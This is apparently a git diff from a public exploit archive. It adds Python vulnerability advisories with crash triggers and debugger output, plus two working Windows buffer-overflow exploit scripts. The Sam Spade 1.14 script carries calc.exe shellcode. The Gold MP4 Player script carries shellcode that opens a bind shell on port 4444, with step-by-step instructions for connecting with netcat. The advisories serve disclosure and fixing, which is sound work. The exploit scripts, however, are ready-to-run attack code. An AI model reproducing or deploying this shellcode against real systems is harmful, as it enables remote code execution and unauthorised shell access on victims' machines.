BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_NXCODE_msvcr90!LeadUpVec+70
|
||||
|
||||
ANALYSIS_SOURCE: UM
|
||||
|
||||
FAILURE_ID_HASH_STRING: um:string_dereference_exploitable_fill_pattern_nxcode_c0000005_msvcr90.dll!leadupvec
|
||||
|
||||
FAILURE_ID_HASH: {006f2a1a-db5d-7798-544b-da0c2e0bcf19}
|
||||
|
||||
Followup: MachineOwner
|
||||
---------
|
||||
|
||||
To fix the issue, pack_string should confirm that the fixed-length buffer is of sufficient size prior to performing the memcpy.
|
224
platforms/windows/dos/38617.txt
Executable file
224
platforms/windows/dos/38617.txt
Executable file
|
@ -0,0 +1,224 @@
|
|||
Title: Python 2.7 strop.replace() Integer Overflow
|
||||
Credit: John Leitch (john@autosectools.com)
|
||||
Url1: http://autosectools.com/Page/Python-strop-replace-Integer-Overflow
|
||||
Url2: http://bugs.python.org/issue24708
|
||||
Resolution: Fixed
|
||||
|
||||
The Python 2.7 strop.replace() method suffers from an integer overflow that can be exploited to write outside the bounds of the string buffer and potentially achieve code execution. The issue can be triggered by performing a large substitution that overflows the arithmetic used in mymemreplace() to calculate the size of the new string:
|
||||
|
||||
static char *
|
||||
mymemreplace(const char *str, Py_ssize_t len, /* input string */
|
||||
const char *pat, Py_ssize_t pat_len, /* pattern string to find */
|
||||
const char *sub, Py_ssize_t sub_len, /* substitution string */
|
||||
Py_ssize_t count, /* number of replacements */
|
||||
Py_ssize_t *out_len)
|
||||
{
|
||||
[...]
|
||||
|
||||
new_len = len + nfound*(sub_len - pat_len); <<<< Unchecked arithmetic can overflow here.
|
||||
if (new_len == 0) {
|
||||
/* Have to allocate something for the caller to free(). */
|
||||
out_s = (char *)PyMem_MALLOC(1);
|
||||
if (out_s == NULL)
|
||||
return NULL;
|
||||
out_s[0] = '\0';
|
||||
}
|
||||
else {
|
||||
assert(new_len > 0);
|
||||
new_s = (char *)PyMem_MALLOC(new_len); <<<< An allocation is performed using overflowed value.
|
||||
if (new_s == NULL)
|
||||
return NULL;
|
||||
out_s = new_s;
|
||||
|
||||
for (; count > 0 && len > 0; --count) { <<<< Memory is copied to new_s using len, which can be greater than the overflowed new_len value.
|
||||
/* find index of next instance of pattern */
|
||||
offset = mymemfind(str, len, pat, pat_len);
|
||||
if (offset == -1)
|
||||
break;
|
||||
|
||||
/* copy non matching part of input string */
|
||||
memcpy(new_s, str, offset);
|
||||
str += offset + pat_len;
|
||||
len -= offset + pat_len;
|
||||
|
||||
/* copy substitute into the output string */
|
||||
new_s += offset;
|
||||
memcpy(new_s, sub, sub_len);
|
||||
new_s += sub_len;
|
||||
}
|
||||
/* copy any remaining values into output string */
|
||||
if (len > 0)
|
||||
memcpy(new_s, str, len);
|
||||
}
|
||||
[...]
|
||||
}
|
||||
|
||||
The following script demonstrates the issue:
|
||||
|
||||
import strop
|
||||
strop.replace("\x75"*0xEAAA,"\x75","AA"*0xAAAA)
|
||||
When run under a debugger, it produces the following exception:
|
||||
|
||||
0:000> r
|
||||
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
|
||||
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz ac pe nc
|
||||
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
|
||||
MSVCR90!memcpy+0x5a:
|
||||
7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
0:000> db edi-0x10
|
||||
57095ff0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
57096000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
57096010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
57096020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
57096030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
57096040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
57096050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
57096060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
0:000> db esi
|
||||
01e3dde8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
01e3ddf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
01e3de08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
01e3de18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
01e3de28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
01e3de38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
01e3de48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
01e3de58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
0:000> k
|
||||
ChildEBP RetAddr
|
||||
0027fca0 1e056efc MSVCR90!memcpy+0x5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
|
||||
0027fcd0 1e05700b python27!mymemreplace+0xfc [c:\build27\cpython\modules\stropmodule.c @ 1139]
|
||||
0027fd18 1e0aaed7 python27!strop_replace+0xbb [c:\build27\cpython\modules\stropmodule.c @ 1185]
|
||||
0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47 [c:\build27\cpython\objects\methodobject.c @ 81]
|
||||
0027fd5c 1e0f012a python27!call_function+0x2b0 [c:\build27\cpython\python\ceval.c @ 4035]
|
||||
0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a [c:\build27\cpython\python\ceval.c @ 2684]
|
||||
0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690 [c:\build27\cpython\python\ceval.c @ 3267]
|
||||
0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 674]
|
||||
0027fe44 1e118215 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371]
|
||||
0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358]
|
||||
0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950]
|
||||
0027fec0 1e038cb5 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753]
|
||||
0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643]
|
||||
0027ff80 74b97c04 python!__tmainCRTStartup+0x10f [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586]
|
||||
0027ff94 7701ad1f KERNEL32!BaseThreadInitThunk+0x24
|
||||
0027ffdc 7701acea ntdll!__RtlUserThreadStart+0x2f
|
||||
0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
|
||||
0:000> !analyze -v -nodb
|
||||
*******************************************************************************
|
||||
* *
|
||||
* Exception Analysis *
|
||||
* *
|
||||
*******************************************************************************
|
||||
|
||||
|
||||
FAULTING_IP:
|
||||
MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
|
||||
7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
|
||||
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
|
||||
ExceptionAddress: 7026ae7a (MSVCR90!memcpy+0x0000005a)
|
||||
ExceptionCode: c0000005 (Access violation)
|
||||
ExceptionFlags: 00000000
|
||||
NumberParameters: 2
|
||||
Parameter[0]: 00000001
|
||||
Parameter[1]: 57096000
|
||||
Attempt to write to address 57096000
|
||||
|
||||
CONTEXT: 00000000 -- (.cxr 0x0;r)
|
||||
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
|
||||
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz ac pe nc
|
||||
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
|
||||
MSVCR90!memcpy+0x5a:
|
||||
7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
|
||||
FAULTING_THREAD: 00001408
|
||||
|
||||
PROCESS_NAME: python.exe
|
||||
|
||||
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
|
||||
|
||||
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
|
||||
|
||||
EXCEPTION_PARAMETER1: 00000001
|
||||
|
||||
EXCEPTION_PARAMETER2: 57096000
|
||||
|
||||
WRITE_ADDRESS: 57096000
|
||||
|
||||
FOLLOWUP_IP:
|
||||
MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
|
||||
7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
|
||||
NTGLOBALFLAG: 470
|
||||
|
||||
APPLICATION_VERIFIER_FLAGS: 0
|
||||
|
||||
APP: python.exe
|
||||
|
||||
ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre
|
||||
|
||||
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE
|
||||
|
||||
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_NXCODE
|
||||
|
||||
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_NXCODE
|
||||
|
||||
LAST_CONTROL_TRANSFER: from 1e056efc to 7026ae7a
|
||||
|
||||
STACK_TEXT:
|
||||
0027fca0 1e056efc 5708fc94 01e37a7c 00015554 MSVCR90!memcpy+0x5a
|
||||
0027fcd0 1e05700b 01e2ba4e 38e171c8 01d244cc python27!mymemreplace+0xfc
|
||||
0027fd18 1e0aaed7 00000000 01cebe40 01de2c38 python27!strop_replace+0xbb
|
||||
0027fd30 1e0edcc0 01de2c38 01cebe40 00000000 python27!PyCFunction_Call+0x47
|
||||
0027fd5c 1e0f012a 0027fdb4 01ce6c80 01ce6c80 python27!call_function+0x2b0
|
||||
0027fdcc 1e0f1100 01ddd9d0 00000000 01ce6c80 python27!PyEval_EvalFrameEx+0x239a
|
||||
0027fe00 1e0f1162 01ce6c80 01ddd9d0 01ceaa50 python27!PyEval_EvalCodeEx+0x690
|
||||
0027fe2c 1e1170ca 01ce6c80 01ceaa50 01ceaa50 python27!PyEval_EvalCode+0x22
|
||||
0027fe44 1e118215 01dca090 01ceaa50 01ceaa50 python27!run_mod+0x2a
|
||||
0027fe64 1e1187b0 702c7408 00342ebb 00000101 python27!PyRun_FileExFlags+0x75
|
||||
0027fea4 1e119129 702c7408 00342ebb 00000001 python27!PyRun_SimpleFileExFlags+0x190
|
||||
0027fec0 1e038cb5 702c7408 00342ebb 00000001 python27!PyRun_AnyFileExFlags+0x59
|
||||
0027ff3c 1d00116d 00000002 00342e98 00341950 python27!Py_Main+0x965
|
||||
0027ff80 74b97c04 7ffde000 74b97be0 b4e726fd python!__tmainCRTStartup+0x10f
|
||||
0027ff94 7701ad1f 7ffde000 b723218a 00000000 KERNEL32!BaseThreadInitThunk+0x24
|
||||
0027ffdc 7701acea ffffffff 77000212 00000000 ntdll!__RtlUserThreadStart+0x2f
|
||||
0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b
|
||||
|
||||
|
||||
STACK_COMMAND: .cxr 0x0 ; kb
|
||||
|
||||
FAULTING_SOURCE_LINE: f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm
|
||||
|
||||
FAULTING_SOURCE_FILE: f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm
|
||||
|
||||
FAULTING_SOURCE_LINE_NUMBER: 188
|
||||
|
||||
FAULTING_SOURCE_CODE:
|
||||
No source found for 'f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm'
|
||||
|
||||
|
||||
SYMBOL_STACK_INDEX: 0
|
||||
|
||||
SYMBOL_NAME: msvcr90!memcpy+5a
|
||||
|
||||
FOLLOWUP_NAME: MachineOwner
|
||||
|
||||
MODULE_NAME: MSVCR90
|
||||
|
||||
IMAGE_NAME: MSVCR90.dll
|
||||
|
||||
DEBUG_FLR_IMAGE_TIMESTAMP: 51ea24a5
|
||||
|
||||
FAILURE_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_NXCODE_c0000005_MSVCR90.dll!memcpy
|
||||
|
||||
BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE_msvcr90!memcpy+5a
|
||||
|
||||
ANALYSIS_SOURCE: UM
|
||||
|
||||
FAILURE_ID_HASH_STRING: um:string_dereference_fill_pattern_nxcode_c0000005_msvcr90.dll!memcpy
|
||||
|
||||
FAILURE_ID_HASH: {031149d8-0626-9042-d8b7-a1766b1c5514}
|
||||
|
||||
Followup: MachineOwner
|
||||
---------
|
||||
|
||||
To fix the issue, mymemreplace should validate that the computed value new_len has not overflowed. To do this, (new_len - len) / nfound should be compared to sub_len - pat_len. If that are not equal, an overflow has occurred.
|
64
platforms/windows/dos/38618.txt
Executable file
64
platforms/windows/dos/38618.txt
Executable file
|
@ -0,0 +1,64 @@
|
|||
Title: Python 3.3 - 3.5 product_setstate() Out-of-bounds Read
|
||||
Credit: John Leitch (john@autosectools.com), Bryce Darling (darlingbryce@gmail.com)
|
||||
Url1: http://autosectools.com/Page/Python-product_setstate-Out-of-bounds-Read
|
||||
Url2: http://bugs.python.org/issue25021
|
||||
Resolution: Fixed
|
||||
|
||||
Python 3.3 - 3.5 suffer from a vulnerability caused by the behavior of the product_setstate() function. When called, the function loops over the state tuple provided and clamps each given index to a value within a range from 0 up to the max number of pools. Then, it loops over the pools and gets an item from the pool using the previously clamped index value.
|
||||
|
||||
However, for the upper bound, the clamping logic is using the number of pools and not the size of the individual pool, which can result in a call to PyTuple_GET_ITEM that uses an index outside of the bounds of the pool:
|
||||
|
||||
for (i=0; i n-1)
|
||||
index = n-1;
|
||||
lz->indices[i] = index;
|
||||
}
|
||||
|
||||
result = PyTuple_New(n);
|
||||
if (!result)
|
||||
return NULL;
|
||||
for (i=0; ipools, i);
|
||||
PyObject *element = PyTuple_GET_ITEM(pool, lz->indices[i]);
|
||||
Py_INCREF(element);
|
||||
PyTuple_SET_ITEM(result, i, element);
|
||||
}
|
||||
|
||||
The invalid result of the PyTyple_GET_ITEM() expression is then passed to Py_INCREF(), which performs a write operation that corrupts memory.
|
||||
|
||||
In some applications, it may be possible to exploit this behavior to corrupt sensitive information, crash, or achieve code execution. The out-of-bounds write can be observed by running the following script:
|
||||
|
||||
import itertools
|
||||
|
||||
p = itertools.product((0,),(0,))
|
||||
p.__setstate__((0, 1))
|
||||
|
||||
Which, depending on the arrangement of memory, may produce an exception such as this:
|
||||
|
||||
0:000> g
|
||||
(ea4.11a4): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=0000c962 ebx=059e8f80 ecx=00000000 edx=00000000 esi=004af564 edi=05392f78
|
||||
eip=613211eb esp=004af4d0 ebp=004af4f8 iopl=0 nv up ei pl nz na po nc
|
||||
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
|
||||
python35_d!product_setstate+0x13b:
|
||||
613211eb 8b5108 mov edx,dword ptr [ecx+8] ds:002b:00000008=????????
|
||||
0:000> k1
|
||||
ChildEBP RetAddr
|
||||
004af4f8 61553a22 python35_d!product_setstate+0x13b [c:\source\python-3.5.0b3\modules\itertoolsmodule.c @ 2266]
|
||||
|
||||
In some cases, EIP corruption may occur:
|
||||
|
||||
0:000> r
|
||||
eax=00000000 ebx=03e0f790 ecx=6d2ad658 edx=00000002 esi=03e0f790 edi=6d0dbb20
|
||||
eip=00000000 esp=004cf6a0 ebp=004cf6ac iopl=0 nv up ei pl nz na po nc
|
||||
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
|
||||
00000000 ?? ???
|
||||
0:000> k4
|
||||
ChildEBP RetAddr
|
||||
WARNING: Frame IP not in any known module. Following frames may be wrong.
|
||||
004cf69c 6d08a390 0x0
|
||||
004cf6ac 6d02b688 python35!PyIter_Next+0x10
|
||||
004cf6c0 6d0dbb6e python35!chain_next+0x58
|
||||
004cf6d0 6d0a021d python35!wrap_next+0x4e
|
||||
|
||||
To fix this issue, it is recommended that product_setstate() be updated to clamp indices within a range from 0 up to the size of the pool in the body of the result tuple building loop.
|
51
platforms/windows/local/38600.py
Executable file
51
platforms/windows/local/38600.py
Executable file
|
@ -0,0 +1,51 @@
|
|||
# Exploit Title : Sam Spade 1.14 - Buffer OverFlow
|
||||
# Date : 10/30/2015
|
||||
# Exploit Author : MandawCoder
|
||||
# Contact : MandawCoder@gmail.com
|
||||
# Vendor Homepage : http://samspade.org
|
||||
# Software Link : http://www.majorgeeks.com/files/details/sam_spade.html
|
||||
# Version : 1.14
|
||||
# Tested on : XP Professional SP3 En x86
|
||||
# Category : Local Exploit
|
||||
# Description:
|
||||
# bug is on this section == Tools -> Crawl website...
|
||||
# Execute following exploit, then delete "http://" from "CRAWL all URLs below" part, then paste the content of file.txt into mentioned section.
|
||||
#
|
||||
# this section(and other sections as well) also has SEH buffer overflow ... I would really appreciated if someone Exploit it.
|
||||
|
||||
|
||||
f = open("file.txt", "w")
|
||||
|
||||
Junk = "A"*503
|
||||
|
||||
addr = "\x53\x93\x42\x7E"
|
||||
|
||||
space = "AAAA"
|
||||
|
||||
nop="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||
|
||||
# Shellcode:
|
||||
# windows/exec - 277 bytes
|
||||
# CMD=calc.exe
|
||||
shellcode= ("\xba\x1c\xb4\xa5\xac\xda\xda\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
|
||||
"\x33\x31\x53\x12\x83\xeb\xfc\x03\x4f\xba\x47\x59\x93\x2a\x0e"
|
||||
"\xa2\x6b\xab\x71\x2a\x8e\x9a\xa3\x48\xdb\x8f\x73\x1a\x89\x23"
|
||||
"\xff\x4e\x39\xb7\x8d\x46\x4e\x70\x3b\xb1\x61\x81\x8d\x7d\x2d"
|
||||
"\x41\x8f\x01\x2f\x96\x6f\x3b\xe0\xeb\x6e\x7c\x1c\x03\x22\xd5"
|
||||
"\x6b\xb6\xd3\x52\x29\x0b\xd5\xb4\x26\x33\xad\xb1\xf8\xc0\x07"
|
||||
"\xbb\x28\x78\x13\xf3\xd0\xf2\x7b\x24\xe1\xd7\x9f\x18\xa8\x5c"
|
||||
"\x6b\xea\x2b\xb5\xa5\x13\x1a\xf9\x6a\x2a\x93\xf4\x73\x6a\x13"
|
||||
"\xe7\x01\x80\x60\x9a\x11\x53\x1b\x40\x97\x46\xbb\x03\x0f\xa3"
|
||||
"\x3a\xc7\xd6\x20\x30\xac\x9d\x6f\x54\x33\x71\x04\x60\xb8\x74"
|
||||
"\xcb\xe1\xfa\x52\xcf\xaa\x59\xfa\x56\x16\x0f\x03\x88\xfe\xf0"
|
||||
"\xa1\xc2\xec\xe5\xd0\x88\x7a\xfb\x51\xb7\xc3\xfb\x69\xb8\x63"
|
||||
"\x94\x58\x33\xec\xe3\x64\x96\x49\x1b\x2f\xbb\xfb\xb4\xf6\x29"
|
||||
"\xbe\xd8\x08\x84\xfc\xe4\x8a\x2d\x7c\x13\x92\x47\x79\x5f\x14"
|
||||
"\xbb\xf3\xf0\xf1\xbb\xa0\xf1\xd3\xdf\x27\x62\xbf\x31\xc2\x02"
|
||||
"\x5a\x4e")
|
||||
|
||||
f.write(Junk + addr + space + nop + shellcode)
|
||||
|
||||
f.close()
|
||||
|
||||
print "Done"
|
56
platforms/windows/local/38609.py
Executable file
56
platforms/windows/local/38609.py
Executable file
|
@ -0,0 +1,56 @@
|
|||
#!/usr/bin/python
|
||||
# EXPLOIT TITLE: GOLD PLAYER Local Exploit
|
||||
# AUTHOR: Vivek Mahajan - C3p70r
|
||||
# Credits: Gabor Seljan
|
||||
# Date of Testing: 30 October 2015
|
||||
# Download Link : http://download.cnet.com/GoldMP4Player/3000-2139_4-10967424.html
|
||||
# Tested On : Windows 8.1 Pro and Windows 7 Ultimate
|
||||
# Steps to Exploit
|
||||
# Step 1: Execute this python script
|
||||
# Step 2: This script will create a file called buffer.txt
|
||||
# Step 3: Open the file buffer.txt and copy the contents.
|
||||
# Step 4: Open the Gold Player application -> file -> open flash url and paste the contents
|
||||
# Step 5: Click on Open
|
||||
# That should open a bind tcp port at 4444
|
||||
# Step 4: Connect with netcat at port 4444
|
||||
|
||||
|
||||
buffer = "A"*280
|
||||
|
||||
buffer += "\x83\x34\x04\x10"
|
||||
|
||||
buffer += "\x90"*100
|
||||
|
||||
buffer += ("\xba\x01\x75\x34\x3a\xdb\xd4\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
|
||||
"\x53\x31\x57\x12\x03\x57\x12\x83\xc6\x71\xd6\xcf\x34\x91\x94"
|
||||
"\x30\xc4\x62\xf9\xb9\x21\x53\x39\xdd\x22\xc4\x89\x95\x66\xe9"
|
||||
"\x62\xfb\x92\x7a\x06\xd4\x95\xcb\xad\x02\x98\xcc\x9e\x77\xbb"
|
||||
"\x4e\xdd\xab\x1b\x6e\x2e\xbe\x5a\xb7\x53\x33\x0e\x60\x1f\xe6"
|
||||
"\xbe\x05\x55\x3b\x35\x55\x7b\x3b\xaa\x2e\x7a\x6a\x7d\x24\x25"
|
||||
"\xac\x7c\xe9\x5d\xe5\x66\xee\x58\xbf\x1d\xc4\x17\x3e\xf7\x14"
|
||||
"\xd7\xed\x36\x99\x2a\xef\x7f\x1e\xd5\x9a\x89\x5c\x68\x9d\x4e"
|
||||
"\x1e\xb6\x28\x54\xb8\x3d\x8a\xb0\x38\x91\x4d\x33\x36\x5e\x19"
|
||||
"\x1b\x5b\x61\xce\x10\x67\xea\xf1\xf6\xe1\xa8\xd5\xd2\xaa\x6b"
|
||||
"\x77\x43\x17\xdd\x88\x93\xf8\x82\x2c\xd8\x15\xd6\x5c\x83\x71"
|
||||
"\x1b\x6d\x3b\x82\x33\xe6\x48\xb0\x9c\x5c\xc6\xf8\x55\x7b\x11"
|
||||
"\xfe\x4f\x3b\x8d\x01\x70\x3c\x84\xc5\x24\x6c\xbe\xec\x44\xe7"
|
||||
"\x3e\x10\x91\x92\x36\xb7\x4a\x81\xbb\x07\x3b\x05\x13\xe0\x51"
|
||||
"\x8a\x4c\x10\x5a\x40\xe5\xb9\xa7\x6b\x18\x66\x21\x8d\x70\x86"
|
||||
"\x67\x05\xec\x64\x5c\x9e\x8b\x97\xb6\xb6\x3b\xdf\xd0\x01\x44"
|
||||
"\xe0\xf6\x25\xd2\x6b\x15\xf2\xc3\x6b\x30\x52\x94\xfc\xce\x33"
|
||||
"\xd7\x9d\xcf\x19\x8f\x3e\x5d\xc6\x4f\x48\x7e\x51\x18\x1d\xb0"
|
||||
"\xa8\xcc\xb3\xeb\x02\xf2\x49\x6d\x6c\xb6\x95\x4e\x73\x37\x5b"
|
||||
"\xea\x57\x27\xa5\xf3\xd3\x13\x79\xa2\x8d\xcd\x3f\x1c\x7c\xa7"
|
||||
"\xe9\xf3\xd6\x2f\x6f\x38\xe9\x29\x70\x15\x9f\xd5\xc1\xc0\xe6"
|
||||
"\xea\xee\x84\xee\x93\x12\x35\x10\x4e\x97\x45\x5b\xd2\xbe\xcd"
|
||||
"\x02\x87\x82\x93\xb4\x72\xc0\xad\x36\x76\xb9\x49\x26\xf3\xbc"
|
||||
"\x16\xe0\xe8\xcc\x07\x85\x0e\x62\x27\x8c")
|
||||
|
||||
buffer += ".swf"
|
||||
|
||||
file = open('buffer.txt', 'w')
|
||||
file.write(buffer)
|
||||
file.close()
|
||||
|
||||
|
||||
# Follow on Twitter @vik_create
|
Loading…
Add table
Reference in a new issue